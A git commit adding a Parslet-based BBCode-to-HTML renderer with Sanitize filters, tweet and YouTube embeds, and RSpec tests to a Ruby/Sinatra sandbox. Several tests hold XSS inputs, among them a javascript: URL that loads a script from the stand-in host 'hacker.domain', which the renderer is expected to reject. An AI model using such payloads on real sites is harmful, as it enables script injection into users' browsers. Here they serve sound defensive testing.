support [tweet] objects

also, for tags that are rejected, return the original bbcode instead of
throwing up all over the place

.gitignore

@@ -0,0 +1,2 @@
+bin
+.bundle

.rspec

@@ -0,0 +1,4 @@
+--tty
+--color
+--format documentation
+--require spec_helper

Gemfile

@@ -5,3 +5,8 @@ gem "thin"
 gem "slim"
 gem "bb-ruby"
 gem "ruby-bbcode"
+gem "rspec", "~> 3.0"
+gem "parslet"
+gem "guard"
+gem "guard-rspec"
+gem "sanitize"

Gemfile.lock

@@ -0,0 +1,110 @@
+GEM
+  remote: http://rubygems.org/
+  specs:
+    activesupport (4.2.4)
+      i18n (~> 0.7)
+      json (~> 1.7, >= 1.7.7)
+      minitest (~> 5.1)
+      thread_safe (~> 0.3, >= 0.3.4)
+      tzinfo (~> 1.1)
+    bb-ruby (1.1.0)
+    blankslate (3.1.3)
+    celluloid (0.15.2)
+      timers (~> 1.1.0)
+    coderay (1.1.0)
+    crass (1.0.2)
+    daemons (1.2.3)
+    diff-lcs (1.2.5)
+    eventmachine (1.0.8)
+    ffi (1.9.3)
+    formatador (0.2.5)
+    guard (2.6.1)
+      formatador (>= 0.2.4)
+      listen (~> 2.7)
+      lumberjack (~> 1.0)
+      pry (>= 0.9.12)
+      thor (>= 0.18.1)
+    guard-rspec (4.3.1)
+      guard (~> 2.1)
+      rspec (>= 2.14, < 4.0)
+    i18n (0.7.0)
+    json (1.8.3)
+    listen (2.7.9)
+      celluloid (>= 0.15.2)
+      rb-fsevent (>= 0.9.3)
+      rb-inotify (>= 0.9)
+    lumberjack (1.0.9)
+    method_source (0.8.2)
+    mini_portile (0.6.2)
+    minitest (5.8.2)
+    nokogiri (1.6.6.2)
+      mini_portile (~> 0.6.0)
+    nokogumbo (1.4.1)
+      nokogiri
+    parslet (1.7.1)
+      blankslate (>= 2.0, <= 4.0)
+    pry (0.10.0)
+      coderay (~> 1.1.0)
+      method_source (~> 0.8.1)
+      slop (~> 3.4)
+    rack (1.6.4)
+    rack-protection (1.5.3)
+      rack
+    rb-fsevent (0.9.4)
+    rb-inotify (0.9.5)
+      ffi (>= 0.5.0)
+    rspec (3.1.0)
+      rspec-core (~> 3.1.0)
+      rspec-expectations (~> 3.1.0)
+      rspec-mocks (~> 3.1.0)
+    rspec-core (3.1.2)
+      rspec-support (~> 3.1.0)
+    rspec-expectations (3.1.0)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.1.0)
+    rspec-mocks (3.1.0)
+      rspec-support (~> 3.1.0)
+    rspec-support (3.1.0)
+    ruby-bbcode (2.0.0)
+      activesupport (>= 3.2.3)
+    sanitize (4.0.0)
+      crass (~> 1.0.2)
+      nokogiri (>= 1.4.4)
+      nokogumbo (= 1.4.1)
+    sinatra (1.4.6)
+      rack (~> 1.4)
+      rack-protection (~> 1.4)
+      tilt (>= 1.3, < 3)
+    slim (3.0.6)
+      temple (~> 0.7.3)
+      tilt (>= 1.3.3, < 2.1)
+    slop (3.5.0)
+    temple (0.7.6)
+    thin (1.6.4)
+      daemons (~> 1.0, >= 1.0.9)
+      eventmachine (~> 1.0, >= 1.0.4)
+      rack (~> 1.0)
+    thor (0.19.1)
+    thread_safe (0.3.5)
+    tilt (2.0.1)
+    timers (1.1.0)
+    tzinfo (1.2.2)
+      thread_safe (~> 0.1)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  bb-ruby
+  guard
+  guard-rspec
+  parslet
+  rspec (~> 3.0)
+  ruby-bbcode
+  sanitize
+  sinatra
+  slim
+  thin
+
+BUNDLED WITH
+   1.10.6

Guardfile

@@ -0,0 +1,4 @@
+guard :rspec, cmd: 'bundle exec rspec' do
+  watch('bristlecode.rb') { "spec" }
+  watch(%r{^spec/.+(_spec\.rb)$}) { "spec" }
+end

bbsandbox.rb

@@ -3,8 +3,9 @@ require 'slim'
 require 'digest/sha1'
 require 'bb-ruby'
 require 'ruby-bbcode'
+require './bristlecode.rb'
 
-@@engines = ['bb-ruby', 'ruby-bbcode', 'raw']
+@@engines = ['bb-ruby', 'ruby-bbcode', 'bristle', 'raw']
 
 get '/' do
   @posts = list_posts
@@ -35,6 +36,8 @@ def exec_bbcode(engine, body)
     BBRuby.to_html body
   when "ruby-bbcode"
     RubyBBCode.to_html body
+  when "bristle"
+    Bristlecode::to_html body
   when "raw"
     body
   else

bristlecode.rb

@@ -0,0 +1,370 @@
+require 'parslet'
+require 'sanitize'
+require 'uri'
+
+module Bristlecode
+
+  class YoutubeFilter
+    def call(env)
+      node = env[:node]
+      node_name = env[:node_name]
+      return if env[:is_whitelisted] || !node.element?
+      return unless node_name == 'iframe'
+      return unless node['src'] =~ %r|\A(?:https?:)?//(?:www\.)?youtube(?:-nocookie)?\.com/|
+      Sanitize.node!(node, {
+        :elements => %w[iframe],
+        :attributes => {'iframe'  => %w[allowfullscreen frameborder height src width]}
+      })
+      {:node_whitelist => [node]}
+    end
+  end
+
+  class TweetFilter
+    def call(env)
+      node = env[:node]
+      node_name = env[:node_name]
+      return if env[:is_whitelisted] || !node.element?
+      case node_name
+      when 'script'
+        return script env
+      when 'blockquote'
+        return blockquote env
+      else
+        return
+      end
+    end
+
+    def script(env)
+      node = env[:node]
+      return unless node['src'] == "//platform.twitter.com/widgets.js"
+      Sanitize.node!(node, {
+        :elements => %w[script],
+        :attributes => {'script'  => %w[aync src charset]}
+      })
+      {:node_whitelist => [node]}
+    end
+
+    def blockquote(env)
+      node = env[:node]
+      Sanitize.node!(node, {
+        :elements => %w[blockquote a],
+        :attributes => {'blockquote'  => ['class'], 'a' => ['href']}
+      })
+      {:node_whitelist => [node]}
+    end
+  end
+
+  Config = Sanitize::Config::freeze_config(
+    :elements => %w[b em i strong u a strike br img],
+    :attributes => {
+      'a' => ['href'],
+      'img' => ['src'],
+    },
+    :add_attributes => {
+      'a' => {'rel' => 'nofollow'}
+    },
+    :protocols => {
+      'a' => {'href' => ['http', 'https', :relative]}
+    },
+    :transformers => [YoutubeFilter.new, TweetFilter.new],
+    :remove_contents => ['script']
+  )
+
+  def Bristlecode.to_html(text)
+    begin
+      parser = Bristlecode::Parser.new
+      parse_tree = parser.parse(text)
+      tree = Bristlecode::Transform.new.apply(parse_tree)
+      html = tree.to_html
+    rescue Parslet::ParseFailed => parse_error
+      html = text
+    end
+    Bristlecode.sanitize_html(html)
+  end
+
+  def Bristlecode.sanitize_html(html)
+    Sanitize.fragment(html, Bristlecode::Config)
+  end
+
+  def Bristlecode.clean!(text)
+    text.gsub!('&', '&')
+    text.gsub!('<', '&lt;')
+    text.gsub!('>', '&gt;')
+    text.gsub!('"', '&quot;')
+    text.gsub!("'", '&#x27;')
+    text.gsub!('/', '&#x2F;')
+  end
+
+  class Parser < Parslet::Parser
+    rule(:bold_open) { str('[b]') | str('[B]') }
+    rule(:bold_close) { str('[/b]') | str('[/B]') | eof }
+    rule(:bold) { bold_open >> children.as(:bold) >> bold_close }
+
+    rule(:linebreak) { str('[br]').as(:br) }
+
+    rule(:italic_open) { str('[i]') | str('[I]') }
+    rule(:italic_close) { str('[/i]') | str('[/I]') | eof }
+    rule(:italic) { italic_open >> children.as(:italic) >> italic_close }
+
+    rule(:url_open) { str('[url]') }
+    rule(:url_close) { str('[/url]') | eof }
+    rule(:simple_href) { (url_close.absent? >> any).repeat }
+    rule(:simple_url) { url_open >> simple_href.as(:href) >> url_close }
+    rule(:url_title_open) { str('[url=') }
+    rule(:url_title_href) { (match(']').absent? >> any).repeat(1) }
+    rule(:url_with_title) {
+      url_title_open >>
+      url_title_href.as(:href) >>
+      match(']') >>
+      children.as(:title) >>
+      url_close
+    }
+    rule(:url) { (simple_url | url_with_title).as(:url) }
+
+    rule(:youtube_open) { str('[youtube]') }
+    rule(:youtube_close) { str('[/youtube]') }
+    rule(:youtube_url) { (youtube_close.absent? >> any).repeat(1) }
+    rule(:youtube) { (youtube_open >> youtube_url.as(:src) >> youtube_close).as(:youtube) }
+
+    rule(:tweet_open) { str('[tweet]') }
+    rule(:tweet_close) { str('[/tweet]') }
+    rule(:tweet_url) { (tweet_close.absent? >> any).repeat(1) }
+    rule(:tweet) { (tweet_open >> tweet_url.as(:src) >> tweet_close).as(:tweet) }
+
+    rule(:img_open) { str('[img]') }
+    rule(:img_close) { str('[/img]') }
+    rule(:img_src) { (img_close.absent? >> any).repeat(1) }
+    rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) }
+
+    rule(:eof) { any.absent? }
+    rule(:tag) { bold | italic | url | linebreak | img | youtube | tweet }
+    rule(:elem) { text.as(:text) | tag }
+    rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open |
+      youtube_open | tweet_open }
+    rule(:tag_close) { bold_close | italic_close | url_close | img_close | youtube_close |
+      tweet_close }
+    rule(:tag_delim) { tag_open | tag_close | linebreak }
+
+    rule(:text) { (tag_delim.absent? >> any).repeat(1) }
+    rule(:children) { elem.repeat }
+    rule(:doc) { elem.repeat.as(:doc) }
+    root(:doc)
+  end
+
+  class Transform < Parslet::Transform
+    rule(bold: sequence(:children)) { Bold.new(children) }
+    rule(italic: sequence(:children)) { Italic.new(children) }
+    rule(text: simple(:text)) { Text.new(text) }
+    rule(doc: subtree(:doc)) { Doc.new(doc) }
+    rule(url: subtree(:url)) { Url.new(url) }
+    rule(br: simple(:br)) { Linebreak.new }
+    rule(img: subtree(:img)) { Img.new(img) }
+    rule(youtube: subtree(:youtube)) { Youtube.new(youtube) }
+    rule(tweet: subtree(:tweet)) { Tweet.new(tweet) }
+  end
+
+  class Doc
+    attr_accessor :children
+
+    def initialize(children)
+      self.children = children
+    end
+
+    def to_html
+      s = StringIO.new
+      children.each{|child| s << child.to_html }
+      s.string
+    end
+
+    def to_text
+      s = StringIO.new
+      children.each{|child| s << child.to_text }
+      s.string
+    end
+  end
+
+  class Text
+    attr_accessor :text
+
+    def initialize(text)
+      self.text = text.to_str
+      Bristlecode.clean!(self.text)
+    end
+
+    def to_html
+      text
+    end
+
+    def to_text
+      text
+    end
+  end
+
+  class Bold
+    attr_accessor :children
+
+    def initialize(children)
+      self.children = Doc.new(children)
+    end
+
+    def to_html
+      "<b>#{children.to_html}</b>"
+    end
+
+    def to_text
+      "[b]#{children.to_text}[/b]"
+    end
+  end
+
+  class Italic
+    attr_accessor :children
+
+    def initialize(children)
+      self.children = Doc.new(children)
+    end
+
+    def to_html
+      "<i>#{children.to_html}</i>"
+    end
+
+    def to_text
+      "[i]#{children.to_text}[/i]"
+    end
+  end
+
+  class Url
+    attr_accessor :href, :title, :bad_href, :title_supplied
+
+    def initialize(args)
+      self.href = args[:href].to_str.strip
+      if args.has_key? :title
+        self.title_supplied = true
+        self.title = Doc.new(args[:title])
+      else
+        self.title_supplied = false
+        self.title = Text.new(args[:href].to_str.strip)
+      end
+    end
+
+    def href_ok?
+      href =~ /^(\/|https?:\/\/)/
+    end
+
+    def to_html
+      return to_text unless href_ok?
+      "<a href=\"#{href}\">#{title.to_html}</a>"
+    end
+
+    def to_text
+      if title_supplied
+        "[url=#{href}]#{title.to_text}[/url]"
+      else
+        text = "[url]#{href}[/url]"
+        Bristlecode.clean!(text)
+        text
+      end
+    end
+  end
+
+  class Linebreak
+    def to_html
+      "<br>"
+    end
+
+    def to_text
+      "[br]"
+    end
+  end
+
+  class Img
+    attr_accessor :src
+
+    def initialize(img)
+      self.src = img[:src].to_str
+    end
+
+    def src_ok?
+      src =~ /^(\/|https?:\/\/)/
+    end
+
+    def to_html
+      return to_text unless src_ok?
+      "<img src=\"#{src}\">"
+    end
+
+    def to_text
+        text = "[img]#{src}[/img]"
+        Bristlecode.clean!(text)
+        text
+    end
+  end
+
+  class Youtube
+    attr_accessor :raw_url, :video_id
+
+    def initialize(args)
+      self.raw_url = args[:src].to_str.strip
+      self.video_id = parse_url
+    end
+
+    def parse_url
+      begin
+        uri = URI::parse(raw_url)
+        return false unless ['http', 'https'].include? uri.scheme
+        return false unless ['www.youtube.com', 'youtube.com', 'youtu.be'].include? uri.host
+        if uri.host == 'youtu.be'
+          return uri.path[1..-1]
+        else
+          URI::decode_www_form(uri.query).each{|key, value| return value if key == 'v'}
+        end
+      rescue URI::InvalidURIError
+      end
+
+      return false
+    end
+
+    def to_html
+      return to_text unless video_id
+      "<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/#{video_id}\" frameborder=\"0\" allowfullscreen></iframe>"
+    end
+
+    def to_text
+      text = "[youtube]#{raw_url}[/youtube]"
+      Bristlecode.clean!(text)
+      text
+    end
+  end
+
+  class Tweet
+    attr_accessor :raw_url, :tweet_url
+
+    def initialize(tweet)
+      self.raw_url = tweet[:src].to_str.strip
+      self.tweet_url = parse_url(self.raw_url)
+    end
+
+    def parse_url(url_in)
+      begin
+        uri = URI::parse(url_in)
+        return false unless ['http', 'https'].include? uri.scheme
+        return false unless uri.host == 'twitter.com'
+        return false unless uri.path =~ /^\/[^\/]+\/status\/\d+/
+        # strip querystring and fragment
+        return "#{uri.scheme}://#{uri.host}#{uri.path}"
+      rescue URI::InvalidURIError
+      end
+      return false
+    end
+
+    def to_html
+      return to_text unless tweet_url
+      "<blockquote class=\"twitter-tweet\"><a href=\"#{tweet_url}\"></a></blockquote><script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>"
+    end
+
+    def to_text
+      text = "[tweet]#{raw_url}[/tweet]"
+      Bristlecode.clean!(text)
+      text
+    end
+  end
+end

posts/normal-italic-text

@@ -0,0 +1 @@
+before the italics [i] in the italics [/i] after the italics

spec/bristlecode/parser_spec.rb

@@ -0,0 +1,299 @@
+require 'parslet/rig/rspec'
+require_relative '../../bristlecode.rb'
+
+module Bristlecode
+
+  describe '.to_html' do
+
+    def to_html(text)
+      Bristlecode.to_html(text)
+    end
+
+    def sanitize_html(text)
+      Bristlecode.sanitize_html(text)
+    end
+
+    it 'leaves an empty string unchanged' do
+      expect(to_html("")).to eq("")
+    end
+
+    it 'handles empty documents' do
+      text = "      \t   \n    \n     \t"
+      expect(to_html(text)).to eq(text)
+    end
+
+    it 'handles special chars' do
+      expect(to_html('&')).to eq('&')
+      expect(to_html('>')).to eq('>')
+      expect(to_html('<')).to eq('&lt;')
+    end
+
+    it 'escapes tags' do
+      input = '<script>alert(1)</script>'
+      output = '&lt;script&gt;alert(1)&lt;/script&gt;'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'entirely removes unapproved script tags in sanitization' do
+      input = '<script>alert(1)</script>'
+      expect(sanitize_html(input)).to eq('')
+    end
+
+    it 'handles plain text just fine' do
+      expect(to_html("plaintext")).to eq("plaintext")
+    end
+
+    it 'can bold stuff' do
+      expect(to_html("[b]bold[/b]")).to eq("<b>bold</b>")
+    end
+
+    it 'can italic stuff' do
+      expect(to_html("[i]italic[/i]")).to eq("<i>italic</i>")
+    end
+
+    it 'can nest tags' do
+      doc = '[b] bold [i] italic [/i] bold [/b]'
+      expected = '<b> bold <i> italic </i> bold </b>'
+      out = to_html(doc)
+      expect(out).to eq(expected)
+
+      doc = '[i] italic [b] bold [/b] italic [/i]'
+      expected = '<i> italic <b> bold </b> italic </i>'
+      out = to_html(doc)
+      expect(out).to eq(expected)
+    end
+
+    it 'auto-closes tags at eof' do
+      expect(to_html("[b]bold")).to eq("<b>bold</b>")
+      expect(to_html("[i]italic")).to eq("<i>italic</i>")
+    end
+
+    it 'can render simple links' do
+      input = '[url]http://example.com[/url]'
+      output = '<a href="http://example.com" rel="nofollow">http://example.com</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'trims whitespace around urls' do
+      input = '[url]    http://example.com    [/url]'
+      output = '<a href="http://example.com" rel="nofollow">http://example.com</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'passes simple url contents opaquely' do
+      input = '[url]http://x[b]y[/b]z[/url]'
+      output = '<a href="http://x%5Bb%5Dy%5B/b%5Dz" rel="nofollow">http://x[b]y[/b]z</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'handles urls with titles' do
+      input = '[url=http://google.com]the google[/url]'
+      output = '<a href="http://google.com" rel="nofollow">the google</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'ignores url tags with bad protocols' do
+      input = '[url=javascript:alert(1)]google.com[/url]'
+      expect(to_html(input)).to eq(input)
+
+      input = '[url=ftp://something.com/filez]google.com[/url]'
+      expect(to_html(input)).to eq(input)
+    end
+
+    it 'allows subtrees in <a> tags' do
+      input = '[url=http://google.com]this is [b]the[/b] google[/url]'
+      output = '<a href="http://google.com" rel="nofollow">this is <b>the</b> google</a>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'rejects bad url protocols' do
+      input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
+      expect(to_html(input)).to eq(input)
+
+      input = "[url=ftp://whatever.com/etc]warez[/url]"
+      expect(to_html(input)).to eq(input)
+    end
+
+    it 'renders a linebreak' do
+      expect(to_html('[br]')).to eq('<br>')
+    end
+
+    it 'renders an image' do
+      input = '[img]http://example.com/cat.gif[/img]'
+      expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
+    end
+
+    it 'ignores bad image src protocols' do
+      input = '[img]javascript:alert(1)[/img]'
+      expect(to_html(input)).to eq(input)
+
+      input = '[img]ftp://example.com/cat.gif[/img]'
+      expect(to_html(input)).to eq(input)
+    end
+
+    it 'returns the original text on parse failure' do
+      input = '[img]http://example.com/dog.gif[img]http://example.com/cat.gif[/img][/img]'
+      expect(to_html(input)).to eq(input)
+
+      input = '[url][url]x[/url][/url]'
+      expect(to_html(input)).to eq(input)
+    end
+
+    it 'can render a youtube video with a watch link' do
+      input = '[youtube]https://youtube.com/watch?v=uxpDa-c-4Mc[/youtube]'
+      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
+      expect(to_html(input)).to eq(output)
+
+      input = '[youtube]https://www.youtube.com/watch?v=uxpDa-c-4Mc[/youtube]'
+      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'can render a youtube video with a share link' do
+      input = '[youtube]https://youtu.be/uxpDa-c-4Mc[/youtube]'
+      output = '<iframe width="560" height="315" src="https://www.youtube.com/embed/uxpDa-c-4Mc" frameborder="0" allowfullscreen=""></iframe>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'refuses bad youtube urls' do
+      input = '[youtube]http://example.com/cats.gif[/youtube]'
+      expect(to_html(input)).to eq(input)
+    end
+
+    it "requires full url for youtube vids" do
+      input = '[youtube]dQw4w9WgXcQ[/youtube]'
+      expect(to_html(input)).to eq(input)
+    end
+
+    it 'can render a tweet' do
+      input = '[tweet]https://twitter.com/jordanorelli/status/662654098156748800[/tweet]'
+      output = '<blockquote class="twitter-tweet"><a href="https://twitter.com/jordanorelli/status/662654098156748800" rel="nofollow"></a></blockquote><script src="//platform.twitter.com/widgets.js" charset="utf-8"></script>'
+      expect(to_html(input)).to eq(output)
+    end
+
+    it 'requres the full url for a tweet' do
+      input = '[tweet]662654098156748800[/tweet]'
+      expect(to_html(input)).to eq(input)
+    end
+  end
+
+  describe Parser do
+    let(:parser) { Parser.new }
+
+    describe '#parse' do
+      it 'can parse an empty string' do
+        expect(parser).to parse('')
+      end
+
+      it 'can parse whitespace' do
+        expect(parser).to parse('      ')
+      end
+
+      it 'can parse plain text' do
+        expect(parser).to parse('this is some plain text')
+      end
+    end
+
+    describe '#bold' do
+      it 'can parse correct bold text syntax' do
+        expect(parser.bold).to parse('[b]bolded contents here[/b]')
+        expect(parser.bold).to parse('[b]bolded contents here[/B]')
+        expect(parser.bold).to parse('[B]bolded contents here[/b]')
+        expect(parser.bold).to parse('[B]bolded contents here[/B]')
+      end
+
+      it 'can parse an empty bold tag' do
+        expect(parser.bold).to parse('[b][/b]')
+      end
+
+      it 'can parse nested tags' do
+        expect(parser.bold).to parse('[b] one [b] two [/b] three [/b]')
+        expect(parser.bold).to parse('[b] one [i] two [/i] three [/b]')
+      end
+
+      it 'can parse an unclosed tag' do
+        expect(parser.bold).to parse('[b]bolded contents here')
+        expect(parser.bold).to parse('[B]bolded contents here')
+      end
+
+      it 'fails non-bold text' do
+        expect(parser.bold).not_to parse('this is not bold')
+      end
+
+      it 'fails dangling close tags' do
+        expect(parser.bold).not_to parse('before [/b] after')
+      end
+
+      it 'fails nonsense tag' do
+        expect(parser.bold).not_to parse('[bold]fake content[/bold]')
+      end
+    end
+
+    describe '#italic' do
+      it 'can parse correct italic text syntax' do
+        expect(parser.italic).to parse('[i]italiced contents here[/i]')
+        expect(parser.italic).to parse('[i]italiced contents here[/I]')
+        expect(parser.italic).to parse('[I]italiced contents here[/i]')
+        expect(parser.italic).to parse('[I]italiced contents here[/I]')
+      end
+
+      it 'can parse an empty italic tag' do
+        expect(parser.italic).to parse('[i][/i]')
+      end
+
+      it 'can parse nested tags' do
+        expect(parser.italic).to parse('[i] one [i] two [/i] three [/i]')
+        expect(parser.italic).to parse('[i] one [b] two [/b] three [/i]')
+      end
+
+      it 'can parse an unclosed tag' do
+        expect(parser.italic).to parse('[i]italiced contents here')
+        expect(parser.italic).to parse('[I]italiced contents here')
+      end
+
+      it 'fails non-italic text' do
+        expect(parser.italic).not_to parse('this is not italic')
+      end
+
+      it 'fails dangling close tags' do
+        expect(parser.italic).not_to parse('before [/i] after')
+      end
+
+      it 'fails nonsense tag' do
+        expect(parser.italic).not_to parse('[italic]fake content[/italic]')
+      end
+    end
+
+    describe '#url' do
+      it 'can parse correct urls' do
+        expect(parser.url).to parse('[url]google.com[/url]')
+        expect(parser.url).to parse('[url=google.com]google[/url]')
+      end
+
+      it 'can parse title subtrees' do
+        expect(parser.url).to parse('[url=google.com]this is [b]google[/b] yo[/url]')
+      end
+
+      it "doesn't die on elements nested in simple urls" do
+        expect(parser.url).to parse('[url]goog[b]le.c[/b]om[/url]')
+      end
+
+      it 'fails nested [url] tags' do
+        expect(parser.url).not_to parse('[url]x[url]y[/url]z[/url]')
+      end
+    end
+
+    describe '#linebreak' do
+      it 'does its thing' do
+        expect(parser.linebreak).to parse('[br]')
+      end
+    end
+
+    describe '#img' do
+      it 'accepts valid image urls' do
+        expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
+        expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
+      end
+    end
+  end
+end

spec/spec_helper.rb

@@ -0,0 +1,9 @@
+RSpec.configure do |config|
+  config.expect_with :rspec do |expect|
+    expect.include_chain_clauses_in_custom_matcher_descriptions = true
+  end
+
+  config.mock_with :rspec do |mocks|
+    mocks.verify_partial_doubles = true
+  end
+end